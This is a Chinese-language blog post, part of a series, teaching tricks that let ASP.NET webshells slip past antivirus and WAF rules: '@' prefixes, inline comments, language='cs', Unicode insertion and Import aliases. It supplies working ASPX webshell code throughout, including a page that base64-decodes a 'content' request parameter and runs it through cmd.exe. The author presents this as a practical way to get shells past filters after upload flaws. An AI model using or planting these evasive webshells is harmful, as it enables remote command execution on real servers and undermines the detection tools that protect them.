.NET WebShell 免杀系列之特殊技巧

0X01 背景 .NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请...

0X01 背景

.NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请阅读者保持好奇心跟随笔者一探究竟吧!

0X02 符号

2.1 逐字标识符

@符号在.NET字符中有着特殊的意义,把“@”放在一个字符串前面,表示后面是一个逐字字符串,@符号的这个特点使得在表示系统文件路径时很方便,就可以不再需要转义符。使用@字符后无法在字符串中插入有效的换行符(\n)或制表符(\t),因为将被当成正常字符串输出。例如以下Demo

string filepath = "C:\\Program Files\\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filepath = @"C:\Program Files\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filename = @"dotNet\tFile";  => dotNet\tFile

另外还可以转义.NET平台保留的关键词,如 Class、NameSpace、int等,参考如下Demo

namespace @namespace  
{  
  class @class {  
        public static void @static(int @int)  {  
            if (@int > 0) {  
                 System.Console.WriteLine("Positive Integer");     }  
            else if (@int == 0)  {  
                 System.Console.WriteLine("Zero");    }  
            else  {  
                 System.Console.WriteLine("Negative Integer");  }  
         }  
     }  
}

既然@字符可以做这么多有趣的事,咱们就研究下利用它绕过某些安全产品的防护规则,笔者在Process类完整的命名空间处每个点之间都加上@符,如下

<script runat="server" language="c#">
public void Page_load(){
    @System.@Diagnostics.@Process.@Start("cmd.exe","/c mstsc");
}
</script>

2.2 内联注释符

在.NET项目中单个aspx页面里支持使用内联注释符 /**/ , 此符号只会注释掉两个*号之间的内容,利用此特点也可以在类完全限定名每个点之间加上内联注释,如下

<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
    public void Page_load()
    {
        System/**/.Diagnostics./**/Process/**/.Start("cmd.exe","/c calc");
    }
</script>

0X03 语言

3.1 指定托管语言为C

.NET WebForm项目通常包含多个ASPX文件,每个文件都是C#语言编写服务端代码,其@Page指令最常用的设置如以下代码所示,[ Language ] 属性指明服务端所使用的托管语言类型,默认均为 Language="C#"

<%@ Page Title="About" Language="C#"  AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %>

[ AutoEventWireup ] 属性可设置Index.aspx页面的事件是否自动绑定,其值为布尔类型,[ CodeBehind ] 属性指定包含与页关联的类的已编译文件的名称,这个属性不能在运行时使用。[ Inherits ] 定义本页面所继承的代码隐藏类,该类的以分部类方式定义于 [ CodeBehind ] 属性所指向的 .cs文件中,该类派生于System.Web.UI.Page类。

3.2 指定托管语言为csharp

在WebForm项目单个ASPX文件中@Page指令也不是必须要声明的,可以省略。<script runat="server"> 标签表示代码运行于服务端,language可指定为csharp,

<script runat="server" language="csharp">
    public void Page_load()
    {
        if (!string.IsNullOrEmpty(Request["content"]))
        {
            var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"]));
            System.Diagnostics.Pro\U0000FFFAcess.Star\uFFFAt("cmd.exe","/c " + content);
        }
    }
</script>

3.3 指定托管语言为cs

现在市面上大多数的安全防护产品和规则都紧盯着 language=csharp 或 language=c# 这两种,很多大马和小马在上传漏洞的场景下被封杀的死死的,但却忽略了.NET编译器还提供了 language=cs 这样的简略写法,有天帮助一位师傅成功绕过WAF拦截,哈哈挺有效的。
参考的demo代码如下,具体原因在于 .Net编译器提供Microsoft.CSharp.CSharpCodeProvider类实现对C#代码编译的

<%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>

笔者分析程序集完全限定名为 Microsoft.CSharp.CSharpCodeProvider, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089,因为 System.CodeDom.Compiler.CodeDomProvider 类里的私有方法 GetCompilerInfoForLanguageNoThrow 获取config配置文件里的语言类型编译选项

image.png

image.png

从 PrivilegedConfigurationManager.GetSection 方法可以清楚的看到从配置文件的system.codedom标签下获取定义的所有语言类型,微软官方文档预设定义了三种,如下所示,详情点击 微软官方文档

属性描述
compilerOptions指定用于编译的其他特定于编译器的参数。
extension为语言提供程序提供由源文件使用的文件扩展名的分号分隔列表。 例如“.cs”。
language提供由语言提供程序支持的语言名称的分号分隔列表。 例如“C#;cs;csharp”。
type指定语言提供程序的类型名称,包括包含提供程序实现的程序集的名称。 类型名称必须符合指定完全限定的类型名称中定义的要求。
warningLevel指定默认的编译器警告级别;确定语言提供程序将编译警告视为错误的级别。

所以在默认的.NET编译器里支持 language=cs 这样的声明,基于这点创造的webshell代码如下

<script runat="server" language="cs">
public void Page_load(){
System.Diagnostics.Process.Start("cmd.exe","/c calc");
}
</script>

0X04 using别名

using + 命名空间名,这样可以在程序中直接用命令空间中的类型,而不必指定类型的详细命名空间,类似于Java的import,这个功能也是最常用的,如下

using System; 
using System.Data; 

另外using语句还可以定义.NET资源使用范围,在程序结束时处理对象释放资源,比较常见与文件读写或者数据库连接等场景,如下代码

using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc)) 
{ 
    sqa.SelectCommand.CommandTimeout = executeTimeOut; 
    sqa.Fill(dtRet); 
    return dtRet; 
} 

using还有个取别名的功能,using + 别名 = 包括详细命名空间信息的具体的类型,当需要用到这个类型的时候,就每个地方都要用详细命名空间的办法来区分这些相同名字的类型,当然被笔者用来做免杀也是相当的赞,但在ASPX单个页面使用时,using变成Import关键词,如下代码

<%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %>
<script runat="server" language="c#">
public void Page_load(){
  dotNet.Start("cmd.exe","/c calc");
  }
</script>

将Process类的完全命名空间赋给dotNet这个别名,然后再代码中直接使用 dotNet.Start 方法启动新进程,这种方式或许能绕过一些安全产品的规则。

image.png

0X05 结语

.NET这些有趣的Tricks还有很多,如果对这些技巧感兴趣的话可以多关注我们的博客公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET 免杀Trick,请大伙继续关注文章。另外文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

  • 发表于 2022-08-08 09:32:16
  • 阅读 ( 8656 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
Ivan1ee
Ivan1ee

13 篇文章

站长统计